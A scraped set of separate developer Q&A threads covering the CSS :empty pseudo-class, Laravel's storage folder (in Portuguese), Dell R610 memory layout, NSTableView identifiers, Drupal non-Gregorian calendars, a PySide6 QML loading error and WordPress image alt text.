.myClassDie
{
  font-size: 34px;
  color:black;
  background: red;
  color: white;
  border-radius: 25px;
  padding: 7px;
  width: auto;
  height: auto;
}

.myClassDie:empty
{
   padding:0;
}

here

ClassDie but with content

In which I inserted two  to show you the behaviour with and without content.
Due to effective invisibility of "empty" case, if you want a more compact solution, you can collapse the two separate rules into only one, simply setting:
.myClassDie:not(:empty)
{
   font-size: 34px;
   color:black;
   background: red;
   color: white;
   border-radius: 25px;
   padding: 7px;
   width: auto;
   height: auto;
}

In this case, only if .myClassDie is not empty, you'll apply all properties.
This is equivalent for this specific case, but if you want to see this DIV also if empty, limiting only to reset padding (for example because it has fixed size or borders), you must use first solution, not the more compact one.

Little precisation about :empty pseudo-class
Previous examples run correctly only if empty elements are effectively empty, this means that this code  is correctly targeted, but this one (that contains a whitespace)   isn't.
In general, this could be an issue because often code is dynamically generated or otherwise contains white spaces due to code indentation.
In the past, Mozilla introduced its proprietary pseudo-class :-moz-only-whitespace, but no other browser currently supports this yet.
W3 also tried to solve this kind of problems, initially with analogue :blank pseudo-class (again with no browser support) in "Selectors Level 3", but this did not have expected success.
So, since beginning of 2018, W3 modified its definition to represent empty user input, rather than empty elements and contemporarily modified :empty definition to consider also white-spaces, but currently this last feature is not implemented too in different browsers.
Comment: I've been trying to solve this problem for hours, but you guys solved it in seconds, Thank You Very Much!
Comment: Your example would be more useful if you demonstrated the class in question both containing text and empty.
Comment: @isherwood Edit my answer according to your suggestion
Comment: I did once. :-) Add it back in if you like.
Answer: Empty pseudo class only checks for empty text
.myClassDie:empty{
   padding:0;
}

But for whitespaces use blank pseudo class
.myClassDie:blank{
   padding:0;
}

Answer: There is a css pseudoclass empty which you could use here:
.myClassDie:empty {
    display: none;
}

Your updated JSFiddle
Answer: You can do the trick with the CSS3 pesudo-class :empty
span:empty{
  padding:0;
}

Note: using above selector you will not have to worry about which span
  has value and which one has not. it will reset padding for those span
  which are blank (empty).
Answer: I guess you could use above piece of code to hide the empty span's padding.
span:empty {
    padding: 0;
}

Answer: you can you :empty also read the below like.
https://developer.mozilla.org/en-US/docs/Web/CSS/pseudo-classes
.myClassDie:empty {padding:0;}


O que faz a pasta storage no laravel?

Question: Na instalação do Laravel, aparece a pasta storage, mas nunca soube a real função dela. Também é comum existe uma pasta de mesmo nome no CMS opencart.
Answer: As respostas de @felipe-moereira e @tiago-luz estão incompletas.
Sim a posta storage permite o gerenciamento de uploads e manipulação de arquivos, isto na subpasta app, porém em sua estrutura você encontra outras subpastas para outros fins.
Uma descrição completa
O diretório de armazenamento (storage)
O diretório de storage contém seus modelos Blade compilados, sessões baseadas em arquivo, caches de arquivo e outros arquivos gerados pela estrutura. Este diretório é segregado em diretórios de aplicativos (app), estruturas (framework) e logs.

O diretório do aplicativo (app) pode ser usado para armazenar quaisquer arquivos gerados por seu aplicativo.
O diretório da estrutura (framework) é usado para armazenar arquivos e caches gerados pelo framework.
o diretório de logs contém os arquivos de log (erro, debug, info) do seu aplicativo.

O diretório storage/app/public pode ser usado para armazenar arquivos gerados pelo usuário, como avatares de perfil, que devem ser acessíveis ao público. Você deve criar um link simbólico em public/storage que aponta para este diretório.
Este link pode ser criado usando o comando php artisan storage:link.
Note que por experiência, eu sugiro a criação do link de maneira manual em consoles Linux usando ln -s /caminho/completo/ate/sistema/storage/app/public /caminho/completo/ate/sistema/public/storage
Links para documentação Laravel (v.8)

Estrutura de diretório
Configuração do Log - que define o comportamento de rotatividade dos arquivos no diretório storage/logs
Gerenciamento de arquivos no storage

O que faz a pasta storage no laravel?


Optimal memory configuration on Dell R610 - 4 x 4GB and 2 x 8GB?

Question: I'm trying to install memory into a Dell R610 server, and am honestly at wit's end.
The DIMMS I have are:

4 x 4GB DDR3
2 x 8GB DDR3

I tried putting in the 4 x 4GB sticks in A1, A2, B1, B2 and the 2 x 8GB sticks in A3, B3 - but it complained:
The following DIMMS should match in size and geometry: DIMM A1, A2 & A3

I then tried putting in the 4 x 4GB sticks all on one CPU - A1, A2, A3 and A4. With the 2 x 8GB sticks on B1, B2.
However, it then complained about:
The memory configuration is not optimal.

CPU 1
A1:  DIMM A
A4:
A2: DIMM A
A5:
A3: DIMM
A6:

DIMM configuration on each CPU should match.

I tried to follow the guide at http://www.dell.com/downloads/global/products/pedge/en/server-pedge-installing-upgrading-memory-11g.pdf, but couldn't seem to get it optimal.
Does anybody know what configuration I should be using?
Comment: AFAIK,there is simply no way to get the system to be happy with 6 sticks.  You need 2, 4 or 8.  You could probably get rid of a pair 4GB sticks, and have 2x4GB, and 2 8GB.  Or the other option is to buy another pair of 8GB sticks.  Not adding this as an 'answer', since I don't have the refs/manuals handy, just going of what I vaguely remember.
Answer: The 610 has got three RAM channels, so A1, A2, A3 should have the same module size & type, and B1, B2, B3 should have the same module size & type.
Single CPU:
With 4 + 2 modules, there's no optimal layout.
The best solution is to replace one of the 4 GB DIMMs with a 8 GB DIMM, so you get two matching triplets.
Dual CPUs:
Plug 8 + 4 + 4 GB into each CPU's sockets, one DIMM per channel.
Comment: I tried this last night - 8GB sticks in A1, and B1, and then the 4GB sticks in A2, A3, B2, B3.

Unfortunately, it still gave me an error about non-optimal configuration.

https://i.imgur.com/eQZO6RG.jpg
Comment: Reread the answer - A/B is the DIMM number while 1/2/3 is the channel. Without buying another 8 GB stick, put 8GB in A1/A2 and the 4GB in B1/B2/B3. The last 4GB is spare. If you buy another (matching) 8GB stick put it in A3.


Confused about NSTableView Identifier on Table Cell View

Question: I am able to create simple view based NSTableViews but there's one point I don't understand about identifiers.
In an NSTableView you typically give a column an identifier and then implement the delegate method:
func tableView(_ tableView: NSTableView, viewFor tableColumn: NSTableColumn?, row: Int) -> NSView?

And then you switch on the column to do what you need, something like:
switch tableColumn!.identifier {
case "firstColumn":
    //do something...
case "secondColumn":
    //do something else...
default:
    return nil
}

However additionally you can give each Table Cell View an identifier as well. So in the above example, say I didn't give the identifier to the column, and instead gave the identifier to the Table Cell View itself.
I presumed that then I could do something like this in the delegate method:
if let firstColumnCellView = tableView.make(withIdentifier: "firstColumnCell", owner: self) as? NSTableCellView {
    view.textField?.stringValue = "Hi! I'm in the first column"
    return view
} else if let secondColumnCellView = tableView.make(withIdentifier: "secondColumnCell", owner: self) as? NSTableCellView {
    view.textField?.stringValue = "Hi! I'm in the second column"
    return view
} else {
    return nil
}

This works, but never makes it past the first if let statement, and so all my cells say "Hi! I'm in the first column"

More Info:
Something else I don't understand: it seems that the Table Cell View identifier overrides the identifier to the column.
If I go to the document outline and assign identifiers something like this:
tableColumn: "firstColumn"
    tableViewCell: "firstColumnCell"

tableColumn: "secondColumn"
    tableViewCell: "secondColumnCell"

and then supply both the column identifier and the cell identifier, it works!
 switch tableColumn!.identifier {
    case "firstColumn":
        if let firstColumnCellView = tableView.make(withIdentifier: "firstColumnCell", owner: self) as? NSTableCellView {
            view.textField?.stringValue = "Hi! I'm in the first column"
            return view
        } else {
            return nil
        }
    case "secondColumn":
        if let secondColumnCellView = tableView.make(withIdentifier: "secondColumnCell", owner: self) as? NSTableCellView {
            view.textField?.stringValue = "Hi! I'm in the second column"
            return view
        } else {
            return nil
        }
    default:
        return nil
    }

But it crashes if I allow the switch statement to ignore the cell identifier for the second column, and fall through to trying to use the column identifier.
 switch tableColumn!.identifier {
    case "firstColumn":
        if let firstColumnCellView = tableView.make(withIdentifier: "firstColumnCell", owner: self) as? NSTableCellView {
            view.textField?.stringValue = "Hi! I'm in the first column"
            return view
        } else {
            return nil
        }
    default:
        break
    }

    let cellView = tableView.make(withIdentifier: tableColumn!.identifier, owner: self) as! NSTableCellView
    cellView.textField?.stringValue = "hello"
    return cellView

    //CRASH: Unexpectedly found nil when unwrapping tableColumn!.identifier
    // The column both exists and has an identifier of "secondColumn", so how could
    //this be nil?

And it seems I can confirm this overriding behavior by renaming the secondColumnCell to the same name as the secondColumn:
tableColumn: "firstColumn"
    tableViewCell: "firstColumnCell"

tableColumn: "secondColumn" <--- Same Name
    tableViewCell: "secondColumn" <-- Same Name

And now the code runs as expected and doesn't crash.
Answer: If I read your last chunk of code correctly, you instantiate (or retrieve from a used-views-no-longer-on-screen pool - see here) a view with the identifier firstColumnCell.
As long as the identifier is valid (you have somewhere a nib defining the view) the method will always return a non-nil view so the first if let ... will always succeed.
So the view.textField?.stringValue =  "Hi! I'm in the first column" will execute thus showing the message in the cell and then it will return the view to be used by the NSTableView and exit your method.
The next if let ... statements will never have a chance to execute.
Comment: ThanksI added more info to the question. Sorry I'm still not understanding.


Non-Gregorian dates and calendars

Question: How can I use my native calendar in Drupal?
I set Drupal to use Farsi and set Asia/Theran as default location, but the month names and years are still from the Gregorian calendar, even if they are translated in Persian.
Is there any coding method to use a calendar that is not the Gregorian one?
Answer: It is possible, but not currently in the queue for Drupal 8 core.  There is nothing stopping it from being a contrib module, though, or being added to the Datetime Extras.
Essentially, the internals of Drupal are based around the PHP \Datetime class1, which uses the Gregorian calendar.  Custom code would have to convert back and forth between this system.
I think two places would need to be updated:

Widgets would need to be created for timestamps and datetime fields to convert to the Gregorian calendar when a user enters a date.   These widgets could then be configured every place fields are used (eg, via Manage Form Display).
A new date formatter service would need to be created to convert Gregorian dates to the other calendar system for when dates are rendered.  The glitch here is that the date placeholders are baked into the field formatters in several places.  New field formatters may also be needed to handle these cases.  It would also be possible to just use new field formatters, but there are places in code that call out to the date formatter service directly (for non-field uses).  Also keep in mind that there are places in core that don't use the date formatter service and call format_date() or date() directly (this is a known issue that will be addressed).

Also keep in mind that some things need to stay in the Gregorian calendar, and render out that way.  The main place that pops into my head are where the ISO 8601 format is used, which happens in the RDFa module and when things like the HTML5 <time> element gets rendered out with the datetime attribute.
1 This is a huge simplification from how datetime and timestamps are handled by core, but the heart is still the native \Datetime class.
Comment: @mpdonadio♦: My question is duplicate of [How to use traditional (national/native) dates and calendars?](https://drupal.stackexchange.com/questions/195362/how-to-use-traditional-national-native-dates-and-calendars?rq=1), Please move your answer there. Thanks.
Comment: Do you have a link for the Drupal issue you are referring to at the beginning of the answer? It would be much helpful to be able to see if there have been any progress in that issue.
Comment: @kiamlaluno I don't know if a D.O. issue to fix this, I just know it is something that needs to be done.
Comment: I missed a _not_ in your sentence (_not currently in the queue_). I thought that _currently in the queue_ would mean _an issue has been opened_, but that was not what you said. :) I am sorry for my confusion.

Non-Gregorian dates and calendars


QQmlApplicationEngine list index out of range issue

Question: I am trying to run the last 2 examples from this website and end up with
root = engine.rootObjects()[0]  # type: QObject IndexError: list index out of range error for both examples (Signal connection for root layout) (Signal connection of other qml file)
If it helps, I put all the example files onto the same directory level and changed the import statements to Pyside6 (from PySide6.QtCore...) instead of PySide2. I also added my version of the code if it makes it easier to see:
main.py:
import sys

from PySide6.QtCore import *
from PySide6.QtQml import QQmlApplicationEngine
from PySide6.QtWidgets import QApplication

def say(s):
    print(s)

if __name__ == '__main__':
    app = QApplication()
    engine = QQmlApplicationEngine()
    engine.load(QUrl.fromLocalFile('main.qml'))
    # Get the root object.
    root = engine.rootObjects()[0]  # type: QObject
    # Find the target object. Since our target object is Window, which is the root object. So use it directly.
    target_view = root
    # Bind signal.
    target_view.say.connect(say)  # The former one is the signal of qml, and the latter one is from Python
    # say() method.

    sys.exit(app.exec())

main.qml:
import QtQuick 2.14
import QtQuick.Controls 2.14
import QtQuick.Window 2.12

Window {
    visible: true
    width: 600; height: 400

    signal say(string s)

    Button {
        text: "hello"
        onClicked: say(text)
    }
}

Comment: Usually that means that there's an issue with your QML code, and those are usually printed out. Do you see any errors in the output? In any case, you should check that rootObjects() doesn't return an empty list before accessing it. In C++ a common way to handle errors is connect to the objectCreated signal of the engine and exit the app if the object is null. Not sure what the equivalent is in Python.
Answer: Possible causes of the error are:

The path of the .qml is incorrect so the .qml is not loaded.
The loading of the .qml is not synchronous as you are assuming.
The .qml has some error (syntax for example)

Considering the above, the solution is:
import os
import sys
from pathlib import Path

from PySide6.QtCore import QCoreApplication, Qt, QUrl
from PySide6.QtQml import QQmlApplicationEngine
from PySide6.QtWidgets import QApplication

CURRENT_DIRECTORY = Path(__file__).resolve().parent

def say(s):
    print(s)

if __name__ == "__main__":
    app = QApplication()
    engine = QQmlApplicationEngine()
    filename = os.fspath(CURRENT_DIRECTORY / "main.qml")
    url = QUrl.fromLocalFile(filename)

    def handle_object_created(obj, obj_url):
        if obj is None and url == obj_url:
            QCoreApplication.exit(-1)
        else:
            root = engine.rootObjects()[0]
            target_view = root
            target_view.say.connect(say)

    engine.objectCreated.connect(handle_object_created, Qt.QueuedConnection)
    engine.load(url)

    sys.exit(app.exec())

But anyway I don't prefer to use rootObjects but instead export a QObject:
import os
import sys
from pathlib import Path

from PySide6.QtCore import QCoreApplication, QObject, Qt, QUrl, Signal
from PySide6.QtQml import QQmlApplicationEngine
from PySide6.QtWidgets import QApplication

CURRENT_DIRECTORY = Path(__file__).resolve().parent

class Helper(QObject):
    say = Signal(str)

def say(s):
    print(s)

if __name__ == "__main__":
    app = QApplication()
    engine = QQmlApplicationEngine()

    helper = Helper()
    helper.say.connect(say)

    engine.rootContext().setContextProperty("helper", helper)

    filename = os.fspath(CURRENT_DIRECTORY / "main.qml")
    url = QUrl.fromLocalFile(filename)

    def handle_object_created(obj, obj_url):
        if obj is None and url == obj_url:
            QCoreApplication.exit(-1)

    engine.objectCreated.connect(handle_object_created, Qt.QueuedConnection)
    engine.load(url)

    sys.exit(app.exec())

import QtQuick 2.14
import QtQuick.Controls 2.14
import QtQuick.Window 2.12

Window {
    visible: true
    width: 600
    height: 400

    Button {
        text: "hello"
        onClicked: helper.say(text)
    }

}


Extract alt text of WordPress images

Question: I need to edit this code to display alt text of every images in front-end which i upload in WordPress. Currently it shows a default text for all images. What's the extracting php code for getting alt text from this code.

Comment: Please clarify your specific problem or provide additional details to highlight exactly what you need. As it's currently written, it's hard to tell exactly what you're asking.
Answer: If you want to get any image alt value then you can get by its URL. Your solution will be,
$image_id = attachment_url_to_postid($image_url[0] );
echo get_post_meta($image_id, '_wp_attachment_image_alt', true);

Updated
So your code would be,

Comment: https://prnt.sc/263wche check this and tell what to be replaced inside alt"" to call alt attributes of images. I'm confused with above answer
Comment: Actually here according to code shown in image whatever inside alt"text" will be shown to all images instead of alt value which we given to images in WordPress image editor. I want to show each images image editor provided alt values to front end instead of a default value.
Comment: I want to show the correct alt value given in wordpress image editor to front end instead of a default value.
Comment: I updated my answer... you can get all alt text by your image URL.
Comment: Your PHP code changes were rolled back due to an error on line 32 of file wp-content/plugins/testhouse-addon/include-elements/content-with-image-element.php. Please fix and try saving again.

syntax error, unexpected 'echo' (T_ECHO). I'm getting this error please check.
Comment: ), $atts));

  $pg_content = '';
  $image_url = wp_get_attachment_image_src($content_image,'full');
  $pg_content .= '
Comment: please check now I updated the code..
Comment: The code has been successfully added but the alt field is still empty when i inspected the image from browser. (alt="").
Comment: try to echo this function (get_post_meta($image_id, '_wp_attachment_image_alt', true)) . And check the function is return any data or not . I don't know how you implement  this https://prnt.sc/263wche code, so..
Comment: function th_content_with_image_element_func($atts, $content = null)
    {
   extract(shortcode_atts(array(

   'paragraph_title_color' => '',
   'paragraph_title' => '',
   'content_image' => '',
   'image_class' => '',

        ), $atts));

  $pg_content = '';
  $image_url = wp_get_attachment_image_src($content_image,'full');
  $pg_content .= '
Comment: output https://i.postimg.cc/NjK2T9Kf/screenshot-47.png

Extract alt text of WordPress images